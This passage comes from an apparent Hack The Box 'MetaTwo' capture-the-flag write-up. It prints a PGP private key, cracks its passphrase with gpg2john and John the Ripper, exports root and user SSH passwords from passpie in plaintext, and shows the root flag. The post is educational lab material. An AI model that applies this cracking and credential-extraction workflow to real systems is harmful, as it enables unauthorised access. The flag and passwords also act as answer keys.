dRqQCcshEQ25AQ0EYrhX1hAEAIQaf8Vj0R+p/jy18CX9Di/Jlxgum4doFHkTtpqR
34
ZBSuM1xOUhNM58J/SQgXGMthHj3ebng2AvYjdx+wWJYQFGkb5VO+99gmOk28NY25
35
hhS8iMUu4xycHd3V0/j8q08RfqHUOmkhIU+CWawpORH+/+2hjB+FHF7olq4EzxYg
36
6L4nAAMFA/4ukPrKvhWaZT2pJGlju4QQvDXQlrASiEHD6maMqBGO5tJqbkp+DJtM
37
F9UoDa53FBRFEeqclY6kQUxnzz48C5WsOc31fq+6vj/40w9PbrGGBYJaiY/zouO1
38
FU9d04WCssSi9J5/BiYiRwFqhMRXqvHg9tqUyKLnsq8mwn0Scc5SVYh4BBgRCAAg
39
FiEEfGeGp1YbyE9QSGceOHd1w1dF0gMFAmK4V9YCGwwACgkQOHd1w1dF0gOm5gD9
40
GUQfB+Jx/Fb7TARELr4XFObYZq7mq/NUEC+Po3KGdNgA/04lhPjdN3wrzjU3qmrL
41
fo6KI+w2uXLaw+bIT1XZurDN
42
=dqsF
43
-----END PGP PUBLIC KEY BLOCK-----
44
-----BEGIN PGP PRIVATE KEY BLOCK-----
45
46
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
87
=7Uo6
88
-----END PGP PRIVATE KEY BLOCK-----

We put the private key in a file on our machine to try and crack it.

SSH Access
SSH Access

Convert it to a john the ripper format:

Terminal window
1
gpg2john hash > hash.john

Then run john to crack it.

Terminal window
1
┌──(dan㉿kali)-[~/HTB/metatwo]
2
└─$ john -w=/usr/share/wordlists/rockyou.txt hash.john
3
Using default input encoding: UTF-8
4
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
5
Cost 1 (s2k-count) is 65011712 for all loaded hashes
6
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
7
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
8
Will run 12 OpenMP threads
9
Press 'q' or Ctrl-C to abort, almost any other key for status
10
blink182 (Passpie)
11
1g 0:00:00:00 DONE (2022-12-15 23:04) 1.639g/s 275.4p/s 275.4c/s 275.4C/s dolphin..987654
12
Use the "--show" option to display all of the cracked passwords reliably
13
Session completed.

We get our password: blink182

Exporting Root Credentials and Root Flag

With this password, I exported the root credentials from passpie. We are able to confirm the root user’s password as p7qfAZt4_A1xo_0x.

Upon successful authentication as root, I found the final flag.

Terminal window
1
jnelson@meta2:~$ cat newroot.pass
2
-----BEGIN PGP MESSAGE-----
3
hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2
4
nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km
5
yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED
6
/2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf
7
iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg
8
krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw
9
mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr
10
lpF0RatbxQGWBks5F3o=
11
=uh1B
12
-----END PGP MESSAGE-----
Terminal window
1
jnelson@meta2:~$ passpie export newroot.pass
2
Passphrase:
3
jnelson@meta2:~$ cat newroot.pass
4
credentials:
5
- comment: ''
6
fullname: root@ssh
7
login: root
8
modified: 2022-06-26 08:58:15.621572
9
name: ssh
10
password: !!python/unicode 'p7qfAZt4_A1xo_0x'
11
- comment: ''
12
fullname: jnelson@ssh
13
login: jnelson
14
modified: 2022-06-26 08:58:15.514422
15
name: ssh
16
password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
17
handler: passpie
18
version: 1.0
Terminal window
1
jnelson@meta2:~$ su root
2
Password:
3
root@meta2:/home/jnelson# id
4
uid=0(root) gid=0(root) groups=0(root)
5
root@meta2:/home/jnelson# cd ~
6
root@meta2:~# ls
7
restore root.txt
8
root@meta2:~# cat root.txt
9
5acf19dabe402006c6744912d180b243

and we’ve got our final flag 5acf19dabe402006c6744912d180b243.


This blog post is part of a series on practical approaches to cybersecurity. Stay tuned for more updates and insights into the fascinating world of ethical hacking and cybersecurity best practices.

Stay safe, and happy hacking!

Note: This blog is for educational purposes only. Attempting unauthorised penetration testing is illegal and punishable by law. Always get explicit permission before performing any penetration testing.